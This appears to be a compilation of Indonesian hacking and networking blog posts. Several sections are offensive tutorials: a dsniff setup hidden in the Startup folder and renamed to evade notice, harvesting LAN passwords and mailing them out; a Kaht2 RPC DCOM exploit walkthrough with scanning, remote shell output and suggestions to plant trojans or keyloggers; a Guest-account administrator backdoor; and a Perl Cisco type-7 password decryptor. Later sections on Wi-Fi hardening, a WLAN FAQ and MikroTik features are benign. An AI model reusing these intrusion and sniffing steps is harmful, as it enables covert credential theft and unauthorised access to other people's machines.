C:\WINDOWS. Kemudian kita bikin batch file yang bisa dijalankan dari command prompt. Gunakan Notepad atau “edit” untuk membuat file ini, dan sebagai isi:
@echo off
sm /hidden c:\windows\ds\dsniff.exe -w > password.db
(tambahkan perintah opsional seperti “-i ELNK3″ jika perlu)
Nah, simpan file ini (sebagai “ds.bat”, misalnya), dan pindahkan file ini ke folder “Startup” lewat Start menu supaya tiap kali komputer di-restart, program dsniff kita dijalankan juga, siap untuk memanen. Program “sm” diatas berfungsi menjalankan program secara tersembunyi supaya tidak mencurigakan.
Tentu saja, biar lebih nggak mencurigakan lagi, rubah nama dsniff.exe ke nama lain, dan jangan lupa ngeganti perintah “dsniff” dengan nama yang baru di semua command dan batch file.
Sekarang anda bisa tinggalkan komputer tersebut, dan dikemudian waktu kembali lagi untuk memeriksa sejauh mana hasil sadapan anda bekerja (dengan perintah “dsniff -r password.db > panen.txt” lalu “notepad panen.txt”).
Membuat sadapan lebh portabel
—————————–
Untuk membuat disket dsniff, file-file yang anda perlukan adalah: dsniff.exe
wpcap.dll (cari di C:\WINDOWS\SYSTEM atau C:\WINDOWS\SYSTEM32 untuk Win2K/XP) wpcap.vxd packet.dll
simpan file-file ini ke disket (A:), dan tinggal dibawa disketnya ke LAN target. Penjalanan perintah masih tetap sama seperti diatas, kecuali lokasi prompt nya bukan di :\WINDOWS\DS>, melainkan di A:\>.
Jika anda butuh tantangan tambahan, gunakan perintah “at” dan program pengirim email blat.exe” untuk mengirimkan hasil panenan ke alamat e-mail anonimus anda setiap jam atau bahkan setiap 5 menit. Jangan lupa bagi-bagi hasil :).
Tambahan-tambahan
—————–
Port dsniff-win32 juga mengandung beberapa utility ekstra, seperti mailsnarf (untuk membaca lalu lintas e-mail di jaringan lokal), urlsnarf (untuk membaca alamat-alamat website yang dikunjungi pengguna LAN sekitar anda), dan webspy (untuk menguntit jejak surfing mesin tertentu).
Silahkan anda coba main-main dengan utiliti-utiliti ini, penulis yakin akan ada gunanya. Harap diingat bahwa teknik diatas hanya mempan untuk LAN yang terhubung melalui “ethernet hub”. Jika kebetulan LAN anda menggunakan “ethernet switch”, bukan berarti nggak ada harapan. Pengguna versi
Unix-nya dsniff bisa cengar-cengir, sebab paket dsniff versi Unix mengandung dua program tambahan: arpspoof (untuk ‘menipu’ mesin-mesin lain agar mengirimkan paket ke mesin anda) dan macof (untuk membanjiri “switch” lokal dengan alamat-alamat MAC acak, biasanya berakibat “ethernet switch”
yang ditargetkan menjadi bingung dan mengubah mode menjadi default, bertingkah laku seperti “ethernet hub”).
Deteksi, Pencegahan, dan Penanggulangan
—————————————
Sebagai admin, anda bisa mendeteksi kartu-kartu ethernet di LAN anda yang menjalankan dsniff (dan progarm-program sejenis dsniff) karena secara prinsip, untuk meng-capture paket-paket, interface ybs harus berada dalam mode “promiscous”. Jadwalkan program-program ini untuk berjalan setiap 5 menit, dan konfigurasikan agar komputer pendeteksi mengemail anda jika ada aktifitas-aktifitas mencurigakan.
Utiliti yang bisa anda gunakan termasuk “promisc”, “CPM”, “ifstatus”, atau yang lebih yahud lagi, utilitas buatan grup hacking Portugal The Apostols yang bernama “NePED” (http://metalab.unc.edu/pub/Linux/distributions/trinux/src/neped.c). Untuk platform Windows, tersedia produk-produk komersil seperti LANGuard/LANSniffer atau AntiSniff dari L0pht Heavy Industry (http://www.l0pht.com/antisniff). Diantara produk-produk diatas, sebagian besar hanyalah bisa mendeteksi adanya sniffer jika dijalankan di mesin lokal. Untuk mendeteksi network secara remote, gunakan NePED atau AntiSniff.
Jika anda punya budget, beli switch ethernet yang nggak nge-default ke “hub mode” kalau di-flood alamat-alamat MAC palsu. Kalau anda nggak ngerti, harap ngambil kursus “Pengenalan TCP/IP” atau berhenti jadi admin. Juga harap ingat bahwa banyak perusahaan-perusahaan yang mengklaim menjual hub yang tak bisa disadap, tapi ternyata hanya menjual hub tipe “active huub” yang biasanya tidak bisa menghandel traffic Fast Ethernet (100 Mbps).
Cara paling handal untuk mencegah bocornya informasi sensitif lewat network adalah dengan menggunakan enkripsi. Pakailah SSH, SCP (pengganti FTP) atau SFTP, TLS (untuk memeriksa e-mail), SSL dan HTTPS (untuk transaksi web), tunelling, dll. Usahakan agar jangan sampai ada program yang mengirimkan password tanpa enkripsi melalui jaringan yang anda kelola. Juga selalu periksa keadaan hard disk anda.
Seringkali sniffer-sniffer meninggalkan jejak berupa file hasil panenan yang berukuran besar (apalagi jika LANnya sibuk).
Cara lain mengamankan network anda adalah dengan memindahkan topologi jaringan anda ke sistem token ring, _dan_ menggunakan kartu-kartu ethernet Token-Ring buatan IBM (iklan sabun colexz). Tapi tentunya metode ini tidaklah praktis bagi anda yang ingin tetap menggunakan topologi star atau hybrid.
Hacking jaringan dengan bug windows XP service pack 1 ke bawah
Sumber balihack.or.id
Tutorial ini murni hanya untuk pembelajaran (level pemula). Walaupun bugs udah sangat lama, tp untuk menambah wawasan sangat perlu. Basa basi cukup, sekarang alat alat yang dipakai :
1.RPCScan 2.03
2.Kaht2
3.Angry IP Scanner 2.21 http://www.winaddons.com/angry-ip-scanner-221/
4.Analisa ( tidak bikin pusing kok)
5.Secangkir anggur…..hee kopi maksun nya:P
Langkah pertama
Laptop/komputer kita sudah terhubung kejaringan dan mendapat alamat IP lokal. Cek IP kita. Misal IP kita dapat adalah 192.168.100.100 dengan subnet 255.255.0.0 berarti jika kita lihat, kita berada network type class C. Kemungkinan IP yang ada dijaringan tersebut adalah 192.168.0.0-192.168.255. Misalkan lagi alamat IP yang kita dapat 168.0.0.10 dengan subnet 255.255.255.0 berarti kita berada di network dengan type class B dan kemungkinan alamat IP yang dipakai antara 168.0.0.1-168.0.0.254
Langkah kedua
Buka program Angry IP Scanner 2.21, klik options lalu klik options lg, pada group display pilih only alive. Itu menandakan kita menampilkan komputer yang hidup saja. Alamat IP komputer yang hidup berwarna bulatan biru dan yang mati berwarna merah. Karena kita sudah tahu alamat yang mungkin pada jaringan tersebut tinggal kita masukkan IP range 192.168.0.0 to 192.168.255.255 (istilah kerennya scanning masal). waktu yang dibutuhkan untuk melakukan scaning IP tersebut memakan waktu yang lama, nah disaat seperti ini perlu rokok marlboro mentolnya he..he…! atau kalau anda tidak punya waktu banyak, cukup scan IP yang dekat dekat kita saja. Contoh alamat IP kita 192.168.100.100, IP yang kita scan adalah 192.168.100.1-192.168.100.254. setelah semua disetting klik START. Akan didapat komputer yang hidup (jika anda beruntung).
Langkah ketiga
Setelah kita mendapatkan komputer yang hidup. Sekarang buka RPCScan, masukkan alamat IP komputer yang hidup ke host name. Atau kita bisa memasukkan IP kita pada :
Start IP (awal IP yg di scanning)
End IP (akhir IP yg di scanning)
lalu tekan ->(masukkan semua IP yang hidup). Klik Start(tanda panah biru).Cek hasil scanning, jika status VULNERABLE berarti komputer dengan alamat IP tersebut masih menggunakan windows service pack 1 kebawah. Berarti anda beruntung….
Langkah keempat
Panggil program kaht2 anda..! misal alamat IP yang vulnerable 192.168.100.10
D: \hacking\tools\kaht2>kaht2
_________________________________________________
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aT4r@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
PUBLIC VERSION
________________________________________________
Usage: KaHt2.exe IP1 IP2 [THREADS] [AH]
example: KaHt2.exe 192.168.0.0 192.168.255.255
NEW!: Macros Available in shell enviroment!!
Type !! for more info into a shell.
D: \hacking\tools\kaht2>kaht2 192.168.100.9 192.168.100.10
Jika berhasil masuk kekomputer target, command akan kita akan berubah menjadi
C:\WINDOWS\system32>
Berarti komputer tersebut sudah menjadi tanggung jawab anda, silahkan berkreasi sendiri. Mungkin dengan menanamkan trojan, keyloger dan lain2 tergantung tingkat kekejaman anda. Atau Cuma lihat semua isi drive nya. Tapi tidak dianjurkan untuk berbuat jahat…Ingat Dilarang Berbuat JAHAT
SMDhack crew yang baru Oroch1 selamat bergabung.
8 Tips Keamanan Jaringan Nirkabel di Rumah Anda
8 Tips Keamanan Jaringan Nirkabel di Rumah Anda
Posted by intrik on 13th May 2007
Saat ini banyak orang yang mulai memasang jaringan komputer nirkabel di rumah mereka (wireless home network) yang mana bisa segera digunakan oleh mereka untuk terhubung ke internet. Contohnya si Agung, karyawan salah satu perusahaan TI di Surabaya telah berlangganan akses internet ADSL melalui Telkom Speedy. Agung membeli modem ADSL yang dilengkapi pula dengan fasilitas wireless atau Wi-Fi. Dia membeli model itu karena dia memiliki dua buah komputer di rumahnya, sebuah laptop dan desktop PC. Semuanya telah dilengkapi dengan Wi-Fi card dan dia menginginkan semuanya terhubung ke internet melalui access point yang dia buat sendiri. Selain itu Agung juga memiliki sebuah PDA yang mana terkadang dia perlu akses ke internet dari PDA nya ketika dia di rumah. Tepatlah jika ia membangun access point di rumahnya sendiri.Tetapi masalah selalu saja muncul. Sudah amankah jaringan nirkabel atau access point yang dia buat? Jangan-jangan di sebelah rumah ada hacker yang mengintip data Anda atau juga malah ikut menikmati akses internet dengan gratis. Untuk itu melalui tulisan kali ini akan disajikan beberapa tips yang berhubungan dengan jaringan nirkabel di rumah Anda.
1. Ganti Password Administrator default (bila perlu ganti pula usernamenya)
Jantung dari jaringan Wi-Fi di rumah Anda adalah access point atau router. Untuk melakukan set up dari peralatan access point ini, maka vendor dari access point device akan memberikan suatu interface yang berbasis web, dimana untuk masuk ke dalam interface ini maka Anda harus mengisikan username dan password. Sementara itu, pada beberapa kasus, peralatan access point tersebut di set oleh vendor dengan suatu username dan password tertentu yang mudah ditebak oleh pengguna. Untuk itu Anda harus mengganti password default dari access point Anda. Bahkan bila perlu Anda juga ubah username yang ada.
2. Aktifkan enkripsi
Semua peralatan Wi-Fi pasti mendukung beberapa bentuk dari keamanan data. Intinya enkripsi akan mengacak data yang dikirim pada jaringan nirkabel sehingga tidak mudah dibaca oleh pihak lain. Peralatan Wi-Fi saat ini sudah menyediakan pilihan teknologi security yang bisa Anda gunakan sesuai dengan kebutuhan. Pastikan semua peralatan dalam jaringan nirkabel Anda juga menggunakan setting security yang sama seperti yang digunakan pada access point.
3. Ganti SSID default
Access point atau router menggunakan suatu nama jaringan yang disebut dengan SSID. Vendor biasanya memberi nama produk access point mereka dengan suatu default SSID. Sebagai contoh, SSID yang dirilis oleh Linksys biasanya adalah “linksys”. Kenyataannya memang apabila seseorang mengetahui sebuah SSID maka ia belum tentu bisa membobol jaringan tersebut, tetapi paling tidak ini adalah suatu awal baginya. Di mata seorang hacker, apabila melihat suatu SSID yang masih default, maka itu indikasi bahwa access point tersebut tidak dikonfigurasi dengan baik dan ada kemungkinan untuk dibobol. Ganti SSID default Anda segera setelah Anda menset-up access point.
4. Aktifkan MAC Address filtering
Setiap peralatan Wi-Fi pastilah memiliki suatu identifikasi yang unik yang dinamakan “physical address” atau MAC address. Access point atau router akan mencatat setiap MAC address dari peranti yang terhubung kepadanya. Anda bisa set bahwa hanya peranti dengan MAC address tertentu saja yang boleh mengakses ke dalam jaringan nirkabel Anda. Misalnya PDA Anda memiliki MAC address tertentu, kemudian Anda masukkan MAC address PDA Anda ke dalam filter MAC address pada access point Anda. Jadi yang bisa terhubung ke jaringan sementara ini hanyalah dari PDA Anda. Tapi Anda juga tetap hati-hati, karena hacker bisa saja membuat MAC address tipuan untuk mengakali filtering ini.
5. Matikan broadcast dari SSID
Dalam jaringan Wi-Fi, maka access point atau router biasanya akan membroadcast SSID secara reguler. Fitur ini memang sengaja didesain bagi hotspot area yang mana klien Wi-Fi pada area tersebut bisa saja datang dan pergi dengan cepat. Dalam kondisi di rumah Anda yang mana SSID nya pasti sudah Anda ketahui sendiri, maka fitur ini tidak perlu diaktifkan karena bisa mengundang tetangga sebelah untuk mengetahui SSID Anda atau juga mencegah orang lain menumpang jaringan internet Anda dengan gratis. Anda bisa nonaktifkan fasilitas broadcast SSID ini demi keamanan jaringan Anda.
6. Berikan alamat IP statis kepada peranti Wi-Fi
Saat ini cenderung orang memanfaatkan DHCP untuk memberikan alamat IP secara otomatis kepada klien yang ingin terhubung ke jaringan nirkabel. Ini memang cara yang cepat dan mudah bagi jaringan Anda, tetapi ingat bahwa ini juga cara mudah bagi hacker untuk mendapatkan alamat IP yang valid pada jaringan nirkabel Anda. Anda bisa mematikan fitur DHCP pada acces point dan set suatu rentang alamat IP yang sudah fix dan set pula peranti Wi-Fi Anda yang ingin terkoneksi ke access point dengan rentang alamat-alamat IP yang fix tadi.
7. Pikirkan lokasi access point atau router yang aman
Sinyal Wi-Fi secara normal bisa menjangkau sampai keluar rumah Anda. Sinyal yang bocor sampai keluar rumah sangat berisiko tinggi untuk timbulnya eksplotasi terhadap jaringan nirkabel Anda. Anda harus meletakkan peralatan access point Anda pada daerah sekitar ruang tengah dari rumah Anda. Jangan sekali-kali meletakkan access point atau router di dekat jendela, karena akan semakin meningkatkan jangkauan sinyal Wi-Fi Anda ke luar rumah.
8. Matikan saja jaringan nirkabel jika sedang tidak digunakan
Aturan keamanan yang paling ampuh adalah dengan mematikan peralatan jaringan atau access point ketika sedang tidak digunakan. Misalnya saja, jangan sekali-kali meninggalkan rumah dengan Wi-Fi yang menyala, walaupun itu untuk keperluan download data. Access point yang menyala tanpa ada yang memantau sangat berisiko tinggi terhadap eksploitasi
== Backd00ring WINDOS XP && 2000 ==
Pengantar
Tulisan ini dibuat untuk membuktikan bahwa sabotase account admin
pada windows juga dapat dilakukan secara lokal, bisa dengan
menggunakan software yang sama, atau bahkan tanpa software sama sekali
tulisan ini juga menyambung artikel yang di buat oleh the_day,
tetapi di khususkan untuk eksploitasi secara lokal .
artikel ini ditujukan untuk :
- buat yang lupa password admin :p
- buat yang mimpi pengen jadi admin 
- buat yang dendam sama admin karena di curangin 
- buat yang mau belajar exploitasi windows
- buat yang mau tau kebobrokan windows
- ….. (isi ndiri, kenapa kamu tertarik baca ini)
bahan yang di perlukan :
-sploits RPC DCOM : *kaht2 (for windust)
-account user biasa or minimal Guest
dari user biasa :
1. ekstrak kaht2 yang dimiliki, biar mudah taruh aja di C:\
terus jalankan :
start > run > command >
masuk ke c:\ipconfig or kalo males pake ip jaringan bisa pake
ip buat loopback yaitu 127.0.0.1
ketik aja:
c:\kaht2 127.0.0.01 127.0.0.1
_________________________________________________
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aT4r@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
PUBLIC VERSION 
________________________________________________
[+] Targets: 127.0.0.0-127.0.0.1 with 50 Threads
[+] Attacking Port: 135. Remote Shell at port: 328
[+] Scan In Progress…
- Connecting to 127.0.0.1
Sending Exploit to a [WinXP] Server…
- Conectando con la Shell Remota…
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
masuk deh
dengan account Administrator
sekarang kamu mau ngapain? bikin backdoor aja or mau buat account baru
admin or jadiin account kamu admin ?
a. bikin backdoor aja 
kalo ini kamu kudu cari account yang gak di aktifkan sehingga user
tersebut gak terdeteksi pada halaman login user 
biasanya account Guest yang dibuat tidak aktif padahal masih ada/default
nah kamu bisa jadikan ini backdoor kamu , semisal kamu mau remote or
login biasa
gimana caranya ? belajar
, just kiddding!
kamu ketik sintax berikut ini , bair jelasnya kamu liat dulu account guest
ada apa kagak ? pake sintax net user
C:\WINDOWS\system32>net user
net user
User accounts for \\
——————————————————————————
Administrator Guest HelpAssistant
SUPPORT_388945a0 y3dips
The command completed with one or more errors.
(cat : lihat ada beberapa account yang tercipta di situ dan dapat di
manfaatkan :P)
YUPe, ternyata ada account guest, biar jelas apa dia aktif or kagak
kita ketik aje net user Guest
C:\WINDOWS\system32>net user Guest
net user Guest
User name Guest
Full Name
Comment Built-in account for guest access to the computer/d
omain
User’s comment
Country code 000 (System Default)
Account active No <=====gak aktif :p
Account expires Never
Password last set 2/29/2004 3:58 AM
Password expires Never
Password changeable 2/29/2004 3:58 AM
Password required No
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/29/2004 3:42 AM
Logon hours allowed All
Local Group Memberships *Guests
Global Group memberships *None
The command completed successfully.
hehehehe, ternyata gak aktif euy..
sekarang kita jadikan backdoor pake perintah
C:\WINDOWS\system32>net localgroup Administrators Guest /add
menjadikan user Guest menjadi group Administrators.
oke! kelar sudah jika kita perlu sekali-sekali maka tinggal memakai
account ini, awas jangan sampai di ambil orang lo…
or mau dikasih password aja, biar lebih asyik
b. buat account sebagai admin
setelah dapet command prompt sebagai admin hasil dari eksploitasi dengan
kaht2 atau echokillrpc, maka tinggal jalankan exploits echobacd00r.bat
atau echobackd00r.exe yang dapat anda letakkan pada disket atau telah
copikan ke C:\Windows\system32\
sehingga tinggal ketik
c:\windows\system32\echobacd00r.bat
selesai!!!
atau jika anda tidak menggunakan echobackd00r.bat atau echobackd00r.exe
anda dapat mengetikkan secara manual dengan penggunaan net user dan
net localgroup, untuk detilnya sama seperti pembuatan account admin
pada artikel the_day tentang hacking windows 2000.
Crack Cisco Password
12
09
2007
Tadi ketika mau masuk router yang sering dikunjungi, ga tau kenapa tiba-tiba lupa password. Zzinkk!! tau-tau mau nginget susah banget. Karena lagi ga terlalu sibuk, iseng2 liat backup konfigurasi routernya.
hostname ach_keren
!
enable secret 5 $1$SKOf$u9nY/jWlSGpdUdfJDf98
enable password 7 xxxxxxx
!
username ach password 7 xxxxxxxx
username admin privilege 15 password 7 xxxxxx
Argh.. daripada mikir, mendingan iseng2 coba cari cara crack-nya di internet…
Cari-cari di google.. loh.. ternyata sudah banyak toh artikelnya.. trus juga udah lama toh bisa di crack… hehe..
Nah.. sekarang coba-coba ah….
hmmm… karena banyak versinya, cobain yang pake perl n web aja ah… (yg make C males compile nya :-p )
coba yang perl dulu ah…
ambil source code nya dari sini
#
# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski
# for Cisco IOS password encryption facts.
#
# Use for any malice or illegal purposes strictly prohibited!
#
@xlat = ( 0×64, 0×73, 0×66, 0×64, 0×3b, 0×6b, 0×66, 0×6f, 0×41,
0×2c, 0×2e, 0×69, 0×79, 0×65, 0×77, 0×72, 0×6b, 0×6c,
0×64, 0×4a, 0×4b, 0×44, 0×48, 0×53 , 0×55, 0×42 );
while (<>) {
if (/(password|md5)\s+7\s+([\da-f]+)/io) {
if (!(length($2) & 1)) {
$ep = $2; $dp = “”;
($s, $e) = ($2 =~ /^(..)(.+)/o);
for ($i = 0; $i < length($e); $i+=2) {
$dp .= sprintf “%c”,hex(substr($e,$i,2))^$xlat[$s++];
}
s/7\s+$ep/$dp/;
}
}
print;
}
# eof
Trus buat file baru yg isinya :
username ach password 7 xxxxxxxx
username admin privilege 15 password 7 xxxxxx
Trus jalanin deh file perlnya…
[chaidir@aCh ~]$ ./cisco.pl test
username ach password achaikerendeh
username admin privilege 15 password achaikerenbangetdeh
Hore… hore… ketemu lagi passwordnya…
duh.. jd serem ngasih priviledge 15, apa mendingan lgsg enable secret aja ya??
Nah, klo mau nyoba yang lebih mudah lagi.. mendingan langsung lewat web sini
Yosh!! karena dah nemu passwordnya… kembali ke laptop!!
Kerja lagi kitah….
Referensi :
http://insecure.org/sploits/cisco.passwords.html
http://www.cisco.com/warp/public/701/64.html
http://onno.vlsm.org/v01/OnnoWPurbo/contrib/network/network-security/cisco-pass-the-password.txt
http://www.ifm.net.nz/cookbooks/passwordcracker.html
apakah WLAN = Wireless LAN
1. Apa yang dimaksud dengan Wireless LAN?
Wireless LAN merupakan Local Area Network (LAN) yang menggunakan teknologi Wireless (tanpa kabel / nirkabel)
2. Apa perbedaan antara jaringan kabel & jaringan wireless?
Jaringan Wireless memiliki keunggulan sebagai berikut :
1. Pemeliharaan murah
2. Infrastruktur berdimensi kecil
3. Pembangunan cepat
4. Mudah dan murah untuk direlokasi dan mendukung portabilitas
5. Koneksi internet akses 24 jam
6. Akses internet yang cepat
7. Bebas tanpa pulsa telepon
Jaringan Wireless memiliki kelemahan sebagai berikut :
1. Biaya peralatan mahal
2. Delay yang sangat besar
3. Kesulitan karena masalah propagasi radio
4. Keamanan data
5. Kapasitas jaringan karena keterbatasan spektrum
3. Apa yang dimaksud dengan FHSS & DSSS ?
Frequency Hopping Spread Spectrum (FHSS) adalah teknik yang memodulasi sinyal informasi dengan frekuensi yang loncat-loncat (tidak konstan). Frekuensi yang berubah-ubah ini dipilih oleh kode-kode tertentu.
Direct Sequence Spread Spectrum (DSSS) adalah teknik yang memodulasi sinyal informasi secara langsung dengan kode-kode tertentu (deretan kode Pseudonoise/PN dengan satuan chip).
4. Apa yang dimaksud dengan koneksi Point to Point (P2P)?
Suatu konfigurasi jaringan wireless yang hanya menghubungkan dua titik .
5. Apa yang dimaksud dengan koneksi Point to Multi Point (P2MP)?
Suatu konfigurasi jaringan wireless yang menghubungkan banyak titik (multi point) dimana satu titik dipergunakan sebagai base yang melayani beberapa client.
6. Perangkat apa yang dibutuhkan untuk koneksi P2P?
Perangkat yang dibutuhkan adalah : Grid antenna, cable, pigtail, lightning protector, PC Card, dan Router.
7. Perangkat apa yang dibutuhkan untuk koneksi P2MP?
Perangkat yang dibutuhkan adalah :
•
Di sisi client : idem dengan P2P
•
Di sisi base : omni antenna / sectorial panel , cable, pigtail, lightning protector, PC Card, dan Router.
8. Produk apa saja yang bisa saya gunakan sebagai router?
1.
Access Point (AP), yaitu bridge yang biasanya dipasang pada Base Station.
2.
Remote Outdoor Router (ROR), yaitu router yang biasanya dipasang pada Client Station.
3.
Central Outdoor Router (COR), dapat sebagai bridge atau router dan biasanya dirancang khusus untuk Base Station.
9. Apa keuntungan penggunaan Linux sebagai Operating System?
1.
2.
3.
Gratis serta open source.
Tidak membutuhkan resource hardware yang tinggi, bahkan dapat bekerja dengan hanya menggunakan satu buah disket.
Terus berkembang.
=10. Berapa jarak jangkauan perangkat wirelessLAN ini?
Sekitar 5 km, jika menggunakan amplifier 1 watt bisa mencapai 40 km
13. Syarat apa yang harus dipenuhi untuk bisa membangun koneksi wirelessLAN?
Ada dua syarat utama untuk pembangunan koneksi ini
Pertama
Lokasi harus line of Sight / LoS, dalam arti tidak ada halangan (bisa berupa gedung atau pohon) di antara kedua titik yang akan dihubungkan.
Kedua
Freznel Zone (area rambatan gelombang radio yang dipancarkan oleh kedua antenna) tidak terpotong atau terganggu suatu benda
14. Apakah betul kita perlu membangun tower yang setinggi-tingginya?
Tidak Betul. Untuk menentukan tinggi tower diperlukakan survey terlebih dahulu. Pada prinsipnya, tinggi tower sangat tergantung pada posisi gedung tempat antenna client akan dipasang serta posisi base station
.15. Apakah yang dimaksud dengan client antenna?
Client antenna sebenarnya adalah antenna yang digunakan di sisi client dan hanya berfungsi satu arah (sebagai penerima signal saja).
16. Apakah yang dimaksud dengan Base antenna?
Base antenna adalah sebuah perangkat antenna yang berfungsi sebagai pemancar signal, ada yang 90 derajat, 180 derajat, dan 360 derajat
17. Saya berlangganan koneksi 48Kbps, tapi kenapa kok kalau download
hanya mendapatkan thruput kurang dari 6KB? Bukankah saya seharusnya mendapatkan download speed 48 KB?
8Kbps itu 48 Kilo’bits’ per second
1 Bytes
48 bits
48 Kbps
= 8 bits.
= 6 bytes.
= 6 KBps
b (b kecil) biasanya untuk bit.
B (B besar) biasanya untuk byte.
Ada juga yang namanya tcp overhead. Jadi 6 Bytes tsb tidak akan murni
6 Bytes, tapi 6 Bytes - overhead.
18. Untuk kondisi line of sight (LOS) berapa jarak maximum yang bisa dijangkau Sistem Wireless LAN ?
Tergantung dengan peralatan yang dipilih. Berikut spesifikasi beberapa konfigurasi yang kami sediakan.
Konfigurasi A :
Base
: antenna set omni 15 dB dengan kabel LMR400 22.5 meter
Client
: antenna set 24 dB grid dengan kabel LMR400 22.5 meter
speed
11 Mbps
5.5 Mbps
2 Mbps
1 Mbps
max distance
fade margin
0.6 freznel
1.50 km
15.15 dB
4.20 m
2.50 km
15.72 dB
5.50 m
4.00 km
15.63 dB
6.80 m
6.00 km
15.11 dB
8.50 m
sensitivitas
-82.00 dBm
-87.00 dBm
-91.00 dBm
-94.00 dBm
Kecepatan bisa diset di router-nya, semakin rendah kecepatan, sensitivitas
receiver meningkat sehingga jarak yang bisa dicapai akan semakin jauh
.
Konfigurasi B :
Base
: antenna set panel sector 19 dB dengan kabel LMR600 45 meter
Client
: antetnna set 24 dB grid dengan kabel LMR400 22.5 meter
speed
11 Mbps
5.5 Mbps
2 Mbps
1 Mbps
max distance
fade margin
0.6 freznel
2.00 km
15.12 dB
5.00 m
3.50 km
15.25 dB
6.50 m
5.50 km
15.33 dB
8.00 m
8.00 km
15.07 dB
10.00 m
sensitivitas
-82.00 dBm
-87.00 dBm
-91.00 dBm
-94.00 dBm
Kecepatan bisa diset di router-nya, semakin rendah kecepatan, sensitivitas
receiver meningkat sehingga jarak yang bisa dicapai akan semakin jauh.
Tutorial Step By Step Seting MikroTik
MikroTik RouterOS™ adalah sistem operasi linux yang dapat digunakan untuk menjadikan komputer menjadi router network yang handal, mencakup berbagai fitur yang dibuat untuk ip network dan jaringan wireless, cocok digunakan oleh ISP dan provider hostspot.
Ada pun fitur2 nya sbb:
* Firewall and NAT - stateful packet filtering; Peer-to-Peer protocol filtering; source and destination NAT; classification by source MAC, IP addresses (networks or a list of networks) and address types, port range, IP protocols, protocol options (ICMP type, TCP flags and MSS), interfaces, internal packet and connection marks, ToS (DSCP) byte, content, matching sequence/frequency, packet size, time and more…
* Routing - Static routing; Equal cost multi-path routing; Policy based routing (classification done in firewall); RIP v1 / v2, OSPF v2, BGP v4
* Data Rate Management - Hierarchical HTB QoS system with bursts; per IP / protocol / subnet / port / firewall mark; PCQ, RED, SFQ, FIFO queue; CIR, MIR, contention ratios, dynamic client rate equalizing (PCQ), bursts, Peer-to-Peer protocol limitation
* HotSpot - HotSpot Gateway with RADIUS authentication and accounting; true Plug-and-Play access for network users; data rate limitation; differentiated firewall; traffic quota; real-time status information; walled-garden; customized HTML login pages; iPass support; SSL secure authentication; advertisement support
* Point-to-Point tunneling protocols - PPTP, PPPoE and L2TP Access Concentrators and clients; PAP, CHAP, MSCHAPv1 and MSCHAPv2 authentication protocols; RADIUS authentication and accounting; MPPE encryption; compression for PPPoE; data rate limitation; differentiated firewall; PPPoE dial on demand
* Simple tunnels - IPIP tunnels, EoIP (Ethernet over IP)
* IPsec - IP security AH and ESP protocols; MODP Diffie-Hellman groups 1,2,5; MD5 and SHA1 hashing algorithms; DES, 3DES, AES-128, AES-192, AES-256 encryption algorithms; Perfect Forwarding Secrecy (PFS) MODP groups 1,2,5
* Proxy - FTP and HTTP caching proxy server; HTTPS proxy; transparent DNS and HTTP proxying; SOCKS protocol support; DNS static entries; support for caching on a separate drive; access control lists; caching lists; parent proxy support
* DHCP - DHCP server per interface; DHCP relay; DHCP client; multiple DHCP networks; static and dynamic DHCP leases; RADIUS support
* VRRP - VRRP protocol for high availability
* UPnP - Universal Plug-and-Play support
* NTP - Network Time Protocol server and client; synchronization with
GPS system
* Monitoring/Accounting - IP traffic accounting, firewall actions logging, statistics graphs accessible via HTTP
* SNMP - read-only access
* M3P - MikroTik Packet Packer Protocol for Wireless links and Ethernet
* MNDP - MikroTik Neighbor Discovery Protocol; also supports Cisco Discovery Protocol (CDP)
* Tools - ping; traceroute; bandwidth test; ping flood; telnet; SSH; packet sniffer; Dynamic DNS update tool
Layer 2 connectivity:
* Wireless - IEEE802.11a/b/g wireless client and access point (AP) modes; Nstreme and Nstreme2 proprietary protocols; Wireless Distribution System (WDS) support; virtual AP; 40 and 104 bit WEP; WPA pre-shared key authentication; access control list; authentication with RADIUS server; roaming (for wireless client); AP bridging
* Bridge - spanning tree protocol; multiple bridge interfaces; bridge firewalling, MAC
* VLAN - IEEE802.1q Virtual LAN support on Ethernet and wireless links; multiple VLANs; VLAN bridging
* Synchronous - V.35, V.24, E1/T1, X.21, DS3 (T3) media types; sync-PPP, Cisco HDLC, Frame Relay line protocols; ANSI-617d (ANDI or annex D) and Q933a (CCITT or annex A) Frame Relay LMI types
* Asynchronous - s*r*al PPP dial-in / dial-out; PAP, CHAP, MSCHAPv1 and MSCHAPv2 authentication protocols; RADIUS authentication and accounting; onboard s*r*al ports; modem pool with up to 128 ports; dial on demand
* ISDN - ISDN dial-in / dial-out; PAP, CHAP, MSCHAPv1 and MSCHAPv2 authentication protocols; RADIUS authentication and accounting; 128K bundle support; Cisco HDLC, x75i, x75ui, x75bui line protocols; dial on demand
* SDSL - Single-line DSL support; line termination and network termination modes
Instalasi dapat dilakukan pada Standard computer PC yang akan dijadikan router dan tidak memerlukan resource yang cukup besar untuk penggunaan standard, misalnya hanya sebagai gateway.
Berikut spec_minimal nya :
* CPU dan motherboard - bisa dgn P1 ~ P4, AMD, cyrix asal yang bukan multi-prosesor
* RAM - minimum 32 MiB, maximum 1 GiB; 64 MiB atau lebih sangat dianjurkan, kalau mau sekalian dibuat proxy , dianjurkan 1GB… perbandingannya, 15MB di memori ada 1GB di proxy..
* HDD minimal 128MB parallel ATA atau Compact Flash, tidak dianjurkan menggunakan UFD, SCSI, apa lagi S-ATA (mungkin nanti Ver. 3.0)
* NIC 10/100 atau 100/1000
Untuk keperluan beban yang besar ( network yang kompleks, routing yang rumit dll) disarankan untuk mempertimbangkan pemilihan resource PC yang memadai.
Lebih lengkap bisa dilihat di www.mikrotik.com. Meskipun demikian Mikrotik bukanlah free software, artinya kita harus membeli licensi terhadap segala fasiltas yang disediakan. Free trial hanya untuk 24 jam saja.
